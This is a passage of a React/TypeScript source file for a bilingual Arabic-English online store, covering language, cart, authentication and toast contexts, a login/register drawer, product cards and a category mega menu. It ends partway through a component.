2026-03-28 01:53:33 +00:00

5134 lines
184 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

import {
Switch,
Route,
Router as WouterRouter,
Link,
useLocation,
} from "wouter";
import AdminPage from "./pages/Admin";
import {
QueryClient,
QueryClientProvider,
useQuery,
} from "@tanstack/react-query";
import {
useState,
useRef,
useEffect,
createContext,
useContext,
useCallback,
} from "react";
import { motion, AnimatePresence } from "framer-motion";
import { API } from "./lib/api";
import {
isJsonResponse,
loginPreviewStoreUser,
registerPreviewStoreUser,
} from "./lib/mock-auth";
import { translations, Lang } from "./lib/i18n";
import {
FEATURED_MENU_ITEMS,
FOOTER_POLICY_LINKS,
FALLBACK_STORE_SETTINGS,
getFallbackCategories,
getFallbackCategoryTree,
getFallbackProduct,
getFallbackProducts,
} from "./lib/store-fallback";
import { installPreviewAdminApi } from "./lib/admin-preview-api";
if (typeof window !== "undefined") installPreviewAdminApi();
// ─── Language Context ─────────────────────────────────
interface LangCtx {
lang: Lang;
setLang: (l: Lang) => void;
t: (key: keyof typeof translations.ar) => string;
dir: "rtl" | "ltr";
}
const LanguageContext = createContext<LangCtx>({
lang: "ar",
setLang: () => {},
t: (k) => translations.ar[k],
dir: "rtl",
});
function useLang() {
return useContext(LanguageContext);
}
function LanguageProvider({ children }: { children: React.ReactNode }) {
const [lang, setLangState] = useState<Lang>(
() => (localStorage.getItem("extra_lang") as Lang) ?? "ar",
);
const setLang = (l: Lang) => {
setLangState(l);
localStorage.setItem("extra_lang", l);
};
const t = useCallback(
(key: keyof typeof translations.ar): string =>
translations[lang][key] ?? translations.ar[key],
[lang],
);
const dir: "rtl" | "ltr" = lang === "ar" ? "rtl" : "ltr";
useEffect(() => {
document.documentElement.dir = dir;
document.documentElement.lang = lang;
}, [dir, lang]);
return (
<LanguageContext.Provider value={{ lang, setLang, t, dir }}>
{children}
</LanguageContext.Provider>
);
}
function proxyImg(url: string): string {
if (!url) return "";
if (
/^https?:\/\//i.test(url) ||
/^data:image\//i.test(url) ||
/^blob:/i.test(url)
)
return url;
return `${API}/image-proxy?url=${encodeURIComponent(url)}`;
}
async function fetchJsonOrFallback<T>(
url: string,
fallback: () => T | Promise<T>,
): Promise<T> {
try {
const res = await fetch(url);
const contentType = res.headers.get("content-type") || "";
if (!res.ok || !contentType.includes("application/json"))
throw new Error("API unavailable");
return await res.json();
} catch {
return await fallback();
}
}
const queryClient = new QueryClient({
defaultOptions: { queries: { staleTime: 60_000 } },
});
// ─── Cart Context ────────────────────────────────────
interface CartItem {
product: Product;
quantity: number;
color: string | null;
size: string | null;
}
interface CartCtx {
items: CartItem[];
addItem: (
product: Product,
qty: number,
color: string | null,
size: string | null,
) => void;
removeItem: (
productId: number,
color: string | null,
size: string | null,
) => void;
updateQty: (
productId: number,
color: string | null,
size: string | null,
qty: number,
) => void;
clearCart: () => void;
count: number;
subtotal: number;
}
const CartContext = createContext<CartCtx>({
items: [],
addItem: () => {},
removeItem: () => {},
updateQty: () => {},
clearCart: () => {},
count: 0,
subtotal: 0,
});
function useCart() {
return useContext(CartContext);
}
function CartProvider({ children }: { children: React.ReactNode }) {
const [items, setItems] = useState<CartItem[]>(() => {
try {
return JSON.parse(localStorage.getItem("extra_cart") || "[]");
} catch {
return [];
}
});
const saveItems = useCallback((next: CartItem[]) => {
setItems(next);
localStorage.setItem("extra_cart", JSON.stringify(next));
}, []);
const key = (id: number, color: string | null, size: string | null) =>
`${id}|${color}|${size}`;
const addItem = useCallback(
(
product: Product,
qty: number,
color: string | null,
size: string | null,
) => {
setItems((prev) => {
const k = key(product.id, color, size);
const exists = prev.find(
(i) => key(i.product.id, i.color, i.size) === k,
);
const next = exists
? prev.map((i) =>
key(i.product.id, i.color, i.size) === k
? {
...i,
quantity: Math.min(i.quantity + qty, i.product.stock),
}
: i,
)
: [...prev, { product, quantity: qty, color, size }];
localStorage.setItem("extra_cart", JSON.stringify(next));
return next;
});
},
[],
);
const removeItem = useCallback(
(productId: number, color: string | null, size: string | null) => {
saveItems(
items.filter(
(i) =>
key(i.product.id, i.color, i.size) !== key(productId, color, size),
),
);
},
[items, saveItems],
);
const updateQty = useCallback(
(
productId: number,
color: string | null,
size: string | null,
qty: number,
) => {
if (qty < 1) {
removeItem(productId, color, size);
return;
}
saveItems(
items.map((i) =>
key(i.product.id, i.color, i.size) === key(productId, color, size)
? { ...i, quantity: qty }
: i,
),
);
},
[items, saveItems, removeItem],
);
const clearCart = useCallback(() => saveItems([]), [saveItems]);
const count = items.reduce((s, i) => s + i.quantity, 0);
const subtotal = items.reduce(
(s, i) => s + parseFloat(i.product.price) * i.quantity,
0,
);
return (
<CartContext.Provider
value={{
items,
addItem,
removeItem,
updateQty,
clearCart,
count,
subtotal,
}}
>
{children}
</CartContext.Provider>
);
}
// ─── Auth Context ────────────────────────────────────
interface AuthUser {
id: number;
name: string | null;
email: string;
}
interface AuthCtx {
user: AuthUser | null;
token: string | null;
login: (user: AuthUser, token: string) => void;
logout: () => void;
openAuth: (mode?: "login" | "register") => void;
}
const AuthContext = createContext<AuthCtx>({
user: null,
token: null,
login: () => {},
logout: () => {},
openAuth: () => {},
});
function useAuth() {
return useContext(AuthContext);
}
function AuthProvider({ children }: { children: React.ReactNode }) {
const [user, setUser] = useState<AuthUser | null>(() => {
try {
const u = localStorage.getItem("extra_user");
return u ? JSON.parse(u) : null;
} catch {
return null;
}
});
const [token, setToken] = useState<string | null>(() =>
localStorage.getItem("extra_token"),
);
const [authOpen, setAuthOpen] = useState(false);
const [authMode, setAuthMode] = useState<"login" | "register">("login");
const login = useCallback((u: AuthUser, t: string) => {
setUser(u);
setToken(t);
localStorage.setItem("extra_user", JSON.stringify(u));
localStorage.setItem("extra_token", t);
setAuthOpen(false);
}, []);
const logout = useCallback(() => {
setUser(null);
setToken(null);
localStorage.removeItem("extra_user");
localStorage.removeItem("extra_token");
}, []);
const openAuth = useCallback((mode: "login" | "register" = "login") => {
setAuthMode(mode);
setAuthOpen(true);
}, []);
return (
<AuthContext.Provider value={{ user, token, login, logout, openAuth }}>
{children}
<AuthDrawer
open={authOpen}
mode={authMode}
setMode={setAuthMode}
onClose={() => setAuthOpen(false)}
/>
</AuthContext.Provider>
);
}
function AuthDrawer({
open,
mode,
setMode,
onClose,
}: {
open: boolean;
mode: "login" | "register";
setMode: (m: "login" | "register") => void;
onClose: () => void;
}) {
const { login } = useAuth();
const showToast = useShowToast();
const { t, dir } = useLang();
const [form, setForm] = useState({
name: "",
email: "",
password: "",
confirm: "",
remember: false,
});
const [loading, setLoading] = useState(false);
const [showPass, setShowPass] = useState(false);
const set = (k: string, v: string | boolean) =>
setForm((f) => ({ ...f, [k]: v }));
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
setLoading(true);
try {
const endpoint = mode === "login" ? "/auth/login" : "/auth/register";
const body =
mode === "login"
? {
email: form.email,
password: form.password,
remember_me: form.remember,
}
: {
name: form.name,
email: form.email,
password: form.password,
confirm_password: form.confirm,
};
let data: { user: AuthUser; token: string };
try {
const res = await fetch(`${API}${endpoint}`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(body),
});
if (!isJsonResponse(res)) throw new Error("preview-api-unavailable");
const json = await res.json();
if (!res.ok) {
showToast(json.error || "حدث خطأ", "error");
return;
}
data = json;
} catch (error) {
if (
error instanceof Error &&
error.message !== "preview-api-unavailable"
)
throw error;
data =
mode === "login"
? loginPreviewStoreUser({
email: form.email,
password: form.password,
})
: registerPreviewStoreUser({
name: form.name,
email: form.email,
password: form.password,
confirm_password: form.confirm,
});
showToast(
"تم استخدام وضع المعاينة لتسجيل الدخول لأن خدمة API غير متاحة حالياً",
"success",
);
}
login(data.user, data.token);
showToast(
mode === "login"
? `${t("welcome_back")} ${data.user.name || data.user.email} 👋`
: t("account_created"),
"success",
);
} catch (error) {
showToast(
error instanceof Error ? error.message : t("server_error"),
"error",
);
} finally {
setLoading(false);
}
};
return (
<AnimatePresence>
{open && (
<>
<motion.div
initial={{ opacity: 0 }}
animate={{ opacity: 1 }}
exit={{ opacity: 0 }}
className="fixed inset-0 bg-black/70 z-[200] backdrop-blur-sm"
onClick={onClose}
/>
<motion.div
initial={{ x: "100%" }}
animate={{ x: 0 }}
exit={{ x: "100%" }}
transition={{ type: "spring", damping: 28, stiffness: 260 }}
className={`fixed top-0 ${dir === "rtl" ? "right-0" : "left-0"} h-full w-full max-w-sm bg-[#0f0f0f] border-l border-white/10 z-[201] flex flex-col shadow-2xl`}
dir={dir}
>
{/* Header */}
<div className="flex items-center justify-between p-5 border-b border-white/10">
<div className="flex items-center gap-3">
<div className="w-8 h-8 bg-orange-500 rounded-lg flex items-center justify-center">
<span className="text-white font-black text-sm">X</span>
</div>
<span className="text-white font-black text-lg">
{t("store_name")}
</span>
</div>
<button
onClick={onClose}
className="text-white/40 hover:text-white p-1.5 rounded-lg hover:bg-white/8 transition-colors"
>
<svg
className="w-5 h-5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M6 18L18 6M6 6l12 12"
/>
</svg>
</button>
</div>
{/* Tabs */}
<div className="flex border-b border-white/10 mx-5 mt-4">
{(["login", "register"] as const).map((m) => (
<button
key={m}
onClick={() => setMode(m)}
className={`flex-1 py-2.5 text-sm font-bold transition-all border-b-2 ${mode === m ? "text-orange-400 border-orange-400" : "text-white/40 border-transparent hover:text-white/70"}`}
>
{m === "login" ? t("auth_login_tab") : t("auth_register_tab")}
</button>
))}
</div>
{/* Social buttons */}
<div className="px-5 pt-5 space-y-3">
<button className="w-full flex items-center justify-center gap-3 bg-white text-gray-800 font-semibold py-2.5 rounded-xl hover:bg-gray-100 transition-colors text-sm">
<svg className="w-5 h-5" viewBox="0 0 24 24">
<path
fill="#4285F4"
d="M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z"
/>
<path
fill="#34A853"
d="M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z"
/>
<path
fill="#FBBC05"
d="M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z"
/>
<path
fill="#EA4335"
d="M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z"
/>
</svg>
{mode === "login"
? t("auth_google_login")
: t("auth_google_register")}
</button>
<button className="w-full flex items-center justify-center gap-3 bg-[#111] text-white border border-white/15 font-semibold py-2.5 rounded-xl hover:bg-[#1a1a1a] transition-colors text-sm">
<svg className="w-5 h-5" viewBox="0 0 24 24" fill="white">
<path d="M17.05 20.28c-.98.95-2.05.8-3.08.35-1.09-.46-2.09-.48-3.24 0-1.44.62-2.2.44-3.06-.35C2.79 15.25 3.51 7.7 9.05 7.43c1.35.07 2.29.74 3.08.8 1.18-.24 2.31-.93 3.57-.84 1.51.12 2.65.72 3.4 1.8-3.12 1.87-2.38 5.98.48 7.13-.57 1.39-1.32 2.76-2.54 3.96zM12.03 7.25c-.15-2.23 1.66-4.07 3.74-4.25.29 2.58-2.34 4.5-3.74 4.25z" />
</svg>
{mode === "login"
? t("auth_apple_login")
: t("auth_apple_register")}
</button>
</div>
{/* Divider */}
<div className="flex items-center gap-3 px-5 py-4">
<div className="flex-1 h-px bg-white/10" />
<span className="text-xs text-white/30">{t("auth_divider")}</span>
<div className="flex-1 h-px bg-white/10" />
</div>
{/* Form */}
<form
onSubmit={handleSubmit}
className="px-5 flex-1 overflow-y-auto space-y-3"
>
{mode === "register" && (
<div>
<label className="block text-xs text-white/50 mb-1.5">
{t("auth_full_name")}
</label>
<input
value={form.name}
onChange={(e) => set("name", e.target.value)}
placeholder={t("auth_name_placeholder")}
className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60"
style={{ fontSize: "16px" }}
/>
</div>
)}
<div>
<label className="block text-xs text-white/50 mb-1.5">
{t("auth_email")}
</label>
<input
type="email"
value={form.email}
onChange={(e) => set("email", e.target.value)}
required
placeholder="example@email.com"
className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60"
style={{ fontSize: "16px" }}
dir="ltr"
/>
</div>
<div>
<label className="block text-xs text-white/50 mb-1.5">
{t("auth_password")}
</label>
<div className="relative">
<input
type={showPass ? "text" : "password"}
value={form.password}
onChange={(e) => set("password", e.target.value)}
required
placeholder={t("auth_pass_placeholder")}
className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 pl-10 text-sm focus:outline-none focus:border-orange-500/60"
style={{ fontSize: "16px" }}
dir="ltr"
/>
<button
type="button"
onClick={() => setShowPass(!showPass)}
className="absolute left-3 top-1/2 -translate-y-1/2 text-white/30 hover:text-white/60"
>
<svg
className="w-4 h-4"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
{showPass ? (
<>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M13.875 18.825A10.05 10.05 0 0112 19c-4.478 0-8.268-2.943-9.543-7a9.97 9.97 0 011.563-3.029m5.858.908a3 3 0 114.243 4.243M9.878 9.878l4.242 4.242M9.88 9.88l-3.29-3.29m7.532 7.532l3.29 3.29M3 3l3.59 3.59m0 0A9.953 9.953 0 0112 5c4.478 0 8.268 2.943 9.543 7a10.025 10.025 0 01-4.132 5.411m0 0L21 21"
/>
</>
) : (
<>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M15 12a3 3 0 11-6 0 3 3 0 016 0z"
/>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"
/>
</>
)}
</svg>
</button>
</div>
{mode === "register" && (
<p className="text-[10px] text-white/25 mt-1.5">
{t("auth_password_hint")}
</p>
)}
</div>
{mode === "register" && (
<div>
<label className="block text-xs text-white/50 mb-1.5">
{t("auth_confirm_password")}
</label>
<input
type={showPass ? "text" : "password"}
value={form.confirm}
onChange={(e) => set("confirm", e.target.value)}
required
placeholder={t("auth_confirm_placeholder")}
className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60"
style={{ fontSize: "16px" }}
dir="ltr"
/>
</div>
)}
{mode === "login" && (
<label className="flex items-center gap-2 cursor-pointer">
<input
type="checkbox"
checked={form.remember}
onChange={(e) => set("remember", e.target.checked)}
className="accent-orange-500 w-4 h-4"
/>
<span className="text-sm text-white/50">
{t("auth_remember")}
</span>
</label>
)}
<button
type="submit"
disabled={loading}
className="w-full bg-orange-500 hover:bg-orange-600 disabled:opacity-60 text-white font-bold py-3 rounded-xl transition-colors text-sm mt-2"
>
{loading
? t("auth_loading")
: mode === "login"
? t("auth_login_btn")
: t("auth_register_btn")}
</button>
<p className="text-center text-xs text-white/30 pb-4">
{mode === "login"
? t("auth_no_account")
: t("auth_has_account")}
<button
type="button"
onClick={() =>
setMode(mode === "login" ? "register" : "login")
}
className="text-orange-400 hover:text-orange-300 font-medium"
>
{mode === "login"
? t("auth_create_link")
: t("auth_login_link")}
</button>
</p>
</form>
</motion.div>
</>
)}
</AnimatePresence>
);
}
// ─── Sound Notifications ─────────────────────────────
declare global {
interface Window {
webkitAudioContext?: typeof AudioContext;
}
}
function playSound(type: "success" | "error" | "info" = "success") {
try {
const ctx = new (window.AudioContext || window.webkitAudioContext!)();
const masterGain = ctx.createGain();
masterGain.connect(ctx.destination);
masterGain.gain.setValueAtTime(0.18, ctx.currentTime);
const play = (
freq: number,
start: number,
dur: number,
wave: OscillatorType = "sine",
) => {
const osc = ctx.createOscillator();
const gain = ctx.createGain();
osc.connect(gain);
gain.connect(masterGain);
osc.type = wave;
osc.frequency.setValueAtTime(freq, ctx.currentTime + start);
gain.gain.setValueAtTime(0, ctx.currentTime + start);
gain.gain.linearRampToValueAtTime(1, ctx.currentTime + start + 0.01);
gain.gain.exponentialRampToValueAtTime(
0.001,
ctx.currentTime + start + dur,
);
osc.start(ctx.currentTime + start);
osc.stop(ctx.currentTime + start + dur);
};
if (type === "success") {
play(523, 0, 0.15); // C5
play(659, 0.1, 0.15); // E5
play(784, 0.2, 0.25); // G5
} else if (type === "error") {
play(330, 0, 0.18, "sawtooth");
play(247, 0.15, 0.25, "sawtooth");
} else {
play(660, 0, 0.12);
play(660, 0.14, 0.18);
}
setTimeout(() => ctx.close(), 1000);
} catch (_) {}
}
// ─── Toast Notification ──────────────────────────────
interface ToastItem {
id: number;
msg: string;
type?: "success" | "error" | "info";
}
function useToast() {
const [toasts, setToasts] = useState<ToastItem[]>([]);
const show = useCallback(
(msg: string, type: ToastItem["type"] = "success") => {
const id = Date.now();
setToasts((t) => [...t, { id, msg, type }]);
setTimeout(() => setToasts((t) => t.filter((x) => x.id !== id)), 3000);
},
[],
);
const dismiss = useCallback((id: number) => {
setToasts((t) => t.filter((x) => x.id !== id));
}, []);
return { toasts, show, dismiss };
}
const ToastContext = createContext<{
show: (msg: string, type?: ToastItem["type"]) => void;
}>({ show: () => {} });
function useShowToast() {
return useContext(ToastContext).show;
}
function ToastProvider({ children }: { children: React.ReactNode }) {
const { toasts, show, dismiss } = useToast();
return (
<ToastContext.Provider value={{ show }}>
{children}
<div
className="fixed bottom-6 right-6 z-[999] flex flex-col gap-3 items-end pointer-events-none"
dir="rtl"
>
{toasts.map((t) => (
<div
key={t.id}
className="pointer-events-auto flex items-center gap-3 bg-[#111] border border-[#D4AF37]/40 text-white text-sm px-4 py-3.5 rounded-2xl shadow-2xl shadow-black/60 min-w-[280px] max-w-[360px]"
style={{ animation: "slideInRight 0.3s ease-out" }}
>
<div
className={`w-8 h-8 rounded-full flex items-center justify-center shrink-0 ${
t.type === "error"
? "bg-red-500/15 border border-red-500/30"
: "bg-[#D4AF37]/15 border border-[#D4AF37]/30"
}`}
>
{t.type === "error" ? (
<svg
className="w-4 h-4 text-red-400"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M6 18L18 6M6 6l12 12"
/>
</svg>
) : (
<svg
className="w-4 h-4 text-[#D4AF37]"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2.5}
d="M5 13l4 4L19 7"
/>
</svg>
)}
</div>
<span className="flex-1 leading-snug">{t.msg}</span>
<button
onClick={() => dismiss(t.id)}
className="text-gray-600 hover:text-gray-400 transition-colors shrink-0 p-0.5"
>
<svg
className="w-3.5 h-3.5"
fill="none"
stroke="currentColor"
viewBox="0 0 24 24"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={2}
d="M6 18L18 6M6 6l12 12"
/>
</svg>
</button>
</div>
))}
</div>
</ToastContext.Provider>
);
}
// ─── Types ──────────────────────────────────────────
interface Category {
id: number;
name: string;
name_en: string | null;
icon: string | null;
parent_id: number | null;
sort_order: number | null;
source: string | null;
slug: string | null;
shein_url: string | null;
image_url: string | null;
product_count?: number;
}
interface Product {
id: number;
name: string;
name_en: string | null;
brand: string | null;
price: string;
original_price: string | null;
images: string[];
colors: string[];
sizes: string[];
specs: Record<string, string>;
marketing_points: string[];
subcategory: string | null;
category_id: number;
rating: string;
review_count: number;
stock: number;
is_trending: boolean;
is_bestseller: boolean;
is_new: boolean;
is_top_rated: boolean;
}
interface ProductsResp {
products: Product[];
total: number;
page: number;
total_pages: number;
}
// ─── Extended Types ──────────────────────────────────
interface CategoryNode extends Category {
children: Category[];
}
// ─── Hooks ──────────────────────────────────────────
function useCategories() {
return useQuery<Category[]>({
queryKey: ["categories"],
queryFn: async () => {
const cats = await fetchJsonOrFallback<Category[]>(
`${API}/categories`,
() => Promise.resolve(getFallbackCategories() as Category[]),
);
return cats.filter((c) => !c.parent_id);
},
});
}
function useCategoryTree() {
return useQuery<CategoryNode[]>({
queryKey: ["categories-tree"],
queryFn: () =>
fetchJsonOrFallback<CategoryNode[]>(`${API}/categories/tree`, () =>
Promise.resolve(getFallbackCategoryTree() as CategoryNode[]),
),
});
}
function useProducts(params: Record<string, string | number | undefined>) {
const qs = Object.entries(params)
.filter(([, v]) => v !== undefined)
.map(([k, v]) => `${k}=${v}`)
.join("&");
return useQuery<ProductsResp>({
queryKey: ["products", qs],
queryFn: () =>
fetchJsonOrFallback<ProductsResp>(`${API}/products?${qs}`, () =>
Promise.resolve(getFallbackProducts(params) as ProductsResp),
),
});
}
function useProduct(id: number) {
return useQuery<Product>({
queryKey: ["product", id],
queryFn: () =>
fetchJsonOrFallback<Product>(`${API}/products/${id}`, () =>
Promise.resolve(getFallbackProduct(id) as Product),
),
});
}
function useStoreSettings() {
return useQuery<Record<string, string>>({
queryKey: ["store-settings"],
queryFn: () =>
fetchJsonOrFallback<Record<string, string>>(
`${API}/public-settings`,
() => Promise.resolve(FALLBACK_STORE_SETTINGS),
),
staleTime: 30_000,
});
}
function storeCopy(
settings: Record<string, string> | undefined,
lang: Lang,
key: string,
fallback: string,
) {
const arValue = settings?.[`${key}_ar`] ?? settings?.[key];
const enValue = settings?.[`${key}_en`];
return lang === "en" ? enValue || arValue || fallback : arValue || fallback;
}
// ─── Announcement Bar ────────────────────────────────
function AnnouncementBar() {
const { data: s } = useStoreSettings();
const { lang } = useLang();
if (!s || s.announcement_enabled !== "true") return null;
const text =
lang === "en" && s.announcement_text_en
? s.announcement_text_en
: s.announcement_text || "";
const bg = s.announcement_color || "#f97316";
const tc = s.announcement_text_color || "#ffffff";
return (
<div
className="w-full overflow-hidden py-2"
style={{ backgroundColor: bg }}
>
<div
className="flex"
style={{ animation: "marquee 28s linear infinite" }}
>
{[0, 1, 2].map((i) => (
<span
key={i}
className="whitespace-nowrap text-sm font-medium px-12 shrink-0"
style={{ color: tc }}
>
{text}
</span>
))}
</div>
</div>
);
}
// ─── Components ─────────────────────────────────────
function StarRating({
rating,
count,
}: {
rating?: string | null;
count?: number | null;
}) {
const r = parseFloat(rating ?? "0") || 0;
return (
<div className="flex items-center gap-1.5">
<div className="flex">
{[1, 2, 3, 4, 5].map((i) => (
<svg
key={i}
className={`w-3.5 h-3.5 ${i <= Math.round(r) ? "text-amber-400" : "text-white/20"}`}
fill="currentColor"
viewBox="0 0 20 20"
>
<path d="M9.049 2.927c.3-.921 1.603-.921 1.902 0l1.07 3.292a1 1 0 00.95.69h3.462c.969 0 1.371 1.24.588 1.81l-2.8 2.034a1 1 0 00-.364 1.118l1.07 3.292c.3.921-.755 1.688-1.54 1.118l-2.8-2.034a1 1 0 00-1.175 0l-2.8 2.034c-.784.57-1.838-.197-1.539-1.118l1.07-3.292a1 1 0 00-.364-1.118L2.98 8.72c-.783-.57-.38-1.81.588-1.81h3.461a1 1 0 00.951-.69l1.07-3.292z" />
</svg>
))}
</div>
{(count ?? 0) > 0 && (
<span className="text-xs text-white/50">
({(count ?? 0).toLocaleString("ar-SA")})
</span>
)}
</div>
);
}
function ProductCard({ p }: { p: Product }) {
const discount = p.original_price
? Math.round((1 - parseFloat(p.price) / parseFloat(p.original_price)) * 100)
: 0;
const img = (Array.isArray(p.images) && p.images[0]) || "";
const [imgLoaded, setImgLoaded] = useState(false);
const [imgError, setImgError] = useState(false);
const [added, setAdded] = useState(false);
const { addItem } = useCart();
const showToast = useShowToast();
const { t, lang } = useLang();
const handleAddToCart = (e: React.MouseEvent) => {
e.preventDefault();
e.stopPropagation();
addItem(p, 1, p.colors?.[0] ?? null, p.sizes?.[0] ?? null);
const name = lang === "en" && p.name_en ? p.name_en : p.name;
showToast(`${t("added_toast_short")} ${name.substring(0, 30)}...`);
setAdded(true);
setTimeout(() => setAdded(false), 2000);
};
return (
<Link href={`/product/${p.id}`}>
<div className="group bg-[#111] border border-white/8 rounded-xl overflow-hidden cursor-pointer hover:border-orange-500/40 transition-all duration-300 hover:shadow-[0_0_24px_rgba(255,102,0,0.18)] flex flex-col h-full">
{/* Image area — white background exactly like Extra store */}
<div className="relative aspect-square bg-white overflow-hidden">
{discount > 0 && (
<span className="absolute top-2 right-2 z-10 bg-red-500 text-white text-xs font-bold px-2 py-0.5 rounded-md shadow">
-{discount}%
</span>
)}
{p.is_new && (
<span className="absolute top-2 left-2 z-10 bg-orange-500 text-white text-xs font-bold px-2 py-0.5 rounded-md shadow">
{t("product_new")}
</span>
)}
{img && !imgError ? (
<img
src={proxyImg(img)}
alt={p.name}
onLoad={() => setImgLoaded(true)}
onError={() => setImgError(true)}
className={`w-full h-full object-contain p-4 group-hover:scale-108 transition-transform duration-500 ${imgLoaded ? "opacity-100" : "opacity-0"}`}
/>
) : imgError ? (
<div className="absolute inset-0 flex flex-col items-center justify-center text-gray-300 gap-2">
<svg
className="w-10 h-10 text-gray-200"
fill="none"
viewBox="0 0 24 24"
stroke="currentColor"
>
<path
strokeLinecap="round"
strokeLinejoin="round"
strokeWidth={1}
d="M4 16l4.586-4.586a2 2 0 012.828 0L16 16m-2-2l1.586-1.586a2 2 0 012.828 0L20 14m-6-6h.01M6 20h12a2 2 0 002-2V6a2 2 0 00-2-2H6a2 2 0 00-2 2v12a2 2 0 002 2z"
/>
</svg>
</div>
) : null}
{!imgLoaded && !imgError && img && (
<div className="absolute inset-0 flex items-center justify-center bg-white">
<div className="w-8 h-8 border-2 border-gray-200 border-t-orange-400 rounded-full animate-spin" />
</div>
)}
{/* Quick Add Button — always visible on mobile, hover on desktop */}
<button
onClick={handleAddToCart}
className={`absolute bottom-2 left-0 right-0 mx-2 py-1.5 rounded-lg text-xs font-bold transition-all duration-200 sm:opacity-0 sm:group-hover:opacity-100 opacity-100 ${
added
? "bg-emerald-500 text-white"
: "bg-orange-500 hover:bg-orange-600 text-white"
}`}
>
{added ? t("product_added") : t("product_add")}
</button>
</div>
{/* Product info — dark */}
<div className="p-3 flex flex-col gap-1.5 flex-1 border-t border-white/6">
{p.brand && (
<span className="text-orange-400 text-xs font-bold tracking-wider uppercase">
{p.brand}
</span>
)}
<h3 className="text-sm font-medium text-white/90 line-clamp-2 leading-snug">
{lang === "en" && p.name_en ? p.name_en : p.name}
</h3>
<StarRating rating={p.rating} count={p.review_count} />
<div className="mt-auto pt-2">
<div className="flex items-baseline gap-2 flex-wrap">
<span className="text-orange-400 font-bold text-base">
{parseFloat(p.price).toLocaleString("ar-SA")} {t("currency")}
</span>
{p.original_price &&
parseFloat(p.original_price) > parseFloat(p.price) && (
<span className="text-white/30 text-xs line-through">
{parseFloat(p.original_price).toLocaleString("ar-SA")}
</span>
)}
</div>
</div>
</div>
</div>
</Link>
);
}
function SheinMegaMenu({
tree,
onClose,
}: {
tree: CategoryNode[];
onClose: () => void;
}) {
const [activeSection, setActiveSection] = useState<CategoryNode | null>(null);
const { t, lang } = useLang();
const sheinSections = tree.filter((n) => n.source === "shein");
const active = activeSection ?? sheinSections[0] ?? null;
const catName = (c: CategoryNode & { name_en?: string }) =>
lang === "en" && c.name_en ? c.name_en : c.name;
return (
<div
className="absolute top-full right-0 left-0 z-50 bg-[#0f0f0f] border-t border-b border-white/10 shadow-2xl shadow-black/80"
onMouseLeave={onClose}
>
<div className="max-w-screen-xl mx-auto flex" style={{ minHeight: 360 }}>
{/* Left: Category list with thumbnail images */}
<div className="w-56 shrink-0 border-l border-white/8 py-2 overflow-y-auto">
{sheinSections.map((sec) => (
<button
key={sec.id}
onMouseEnter={() => setActiveSection(sec)}
onClick={() => {
setActiveSection(sec);
}}
className={`w-full text-right px-3 py-2 text-sm flex items-center gap-3 transition-all ${
active?.id === sec.id
? "bg-white/8 text-white border-r-2 border-white"
: "text-white/60 hover:bg-white/4 hover:text-white/90"
}`}
>
{/* Small category thumbnail */}
<div className="w-9 h-12 rounded overflow-hidden shrink-0 bg-[#222]">
{(sec as CategoryNode & { image_url?: string }).image_url ? (
<img
src={
(sec as CategoryNode & { image_url?: string }).image_url
}
alt={sec.name}
className="w-full h-full object-cover"
/>
) : (
<div className="w-full h-full flex items-center justify-center text-lg">
{sec.icon ?? "🏷️"}
</div>
)}
</div>
<div className="text-right">
<span className="font-semibold text-sm block leading-tight">
{catName(sec as CategoryNode & { name_en?: string })}
</span>
<span className="text-[10px] text-white/35 block mt-0.5">
{(sec as CategoryNode & { name_en?: string }).name_en}
</span>
</div>
</button>
))}
</div>
{/* Right: Subcategories + promo area */}
<div className="flex-1 flex overflow-hidden">
{/* Subcategories */}
<div className="flex-1 p-6">
{active && (
<>
<div className="flex items-center justify-between mb-4 pb-3 border-b border-white/8">
<div className="flex items-center gap-2">
<div className="w-7 h-9 rounded overflow-hidden bg-[#222] shrink-0">
{(active as CategoryNode & { image_url?: string })
.image_url ? (
<img
src={
(active as CategoryNode & { image_url?: string })
.image_url
}
alt={active.name}
className="w-full h-full object-cover"
/>
) : (
